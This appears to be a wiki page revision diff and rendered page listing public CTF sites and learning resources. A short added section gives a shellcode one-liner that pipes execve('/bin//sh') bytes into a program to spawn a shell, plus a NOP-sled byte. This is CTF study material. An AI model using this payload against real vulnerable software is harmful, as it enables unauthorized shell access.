1289
Comment:
|
1885
|
Deletions are marked like this. | Additions are marked like this. |
Line 1: | Line 1: |
#acl All:read | #acl CTFGroup:read,write,revert All:read |
Line 4: | Line 4: |
CTF's are fun to do. I like to do some CTF's once in a while and I started to write an guide for the more special CTF's I did. More information about solving problems can be found on [[https://ctf101.org/|ctf101.org]]. Current CTF's can be found on [[https://ctftime.org/ctfs|CTFtime.org]]. | CTF's are fun to do. I like to do some CTF's once in a while and I started to write an guide for the more special CTF's I did. Current CTF's can be found on [[https://ctftime.org/ctfs|CTFtime.org]]. |
Line 11: | Line 11: |
More can be found on the [[https://apsdehal.in/awesome-ctf/|Awesome CTF]] site. Feel free to send me other CTF's. <<MailTo(ctf AT sciuro DOT org)>> | More lists of CTF's can be found on the site of [[https://apsdehal.in/awesome-ctf/|Awesome CTF]], [[https://www.csoonline.com/article/3341318/top-tools-and-resources-for-running-a-capture-the-flag-competition.html|CSO]] and [[https://fareedfauzi.github.io/ctfonline/#|Fareed Fauzi]]. Feel free to send me other CTF's. <<MailTo(ctf AT sciuro DOT org)>> = Helpfull rescources = * General techniques: [[https://ctf101.org/|ctf101.org]] * Tooling: [[https://github.com/zardus/ctf-tools]] * Shellcode: [[http://shell-storm.org/shellcode/]] |
Line 23: | Line 28: |
= Shellcode = == Shell == Spawn a shell: {{{ (echo -en "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\n"; cat) | ./prog }}} == NOP == For a NOP Sled, add a lot of times: {{{ \x90 }}} |
Public CTFs
CTF's are fun to do. I like to do some CTF's once in a while and I started to write an guide for the more special CTF's I did. Current CTF's can be found on CTFtime.org.
Name |
Level |
Description |
Beginner to expert |
Starting from learning SSH to reverse engineering. |
|
Beginner to expert |
A good CTF to learn working on *nix systems and way beyond. |
|
Beginner to expert |
A dutch site about learning the basics. |
More lists of CTF's can be found on the site of Awesome CTF, CSO and Fareed Fauzi. Feel free to send me other CTF's. <ctf AT sciuro DOT org>
Helpfull rescources
General techniques: ctf101.org
Tooling: https://github.com/zardus/ctf-tools
Shellcode: http://shell-storm.org/shellcode/
Handouts
These are handouts about CTF's I did in the past. It's your call if you want to see answers.
Lectures
Not a CTF, but well worth for learning.
Name |
Level |
Description |
?? |
Introduction to Malware Analysis and Reverse Engineering |
Shellcode
Shell
Spawn a shell:
(echo -en "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\n"; cat) | ./prog
NOP
For a NOP Sled, add a lot of times:
\x90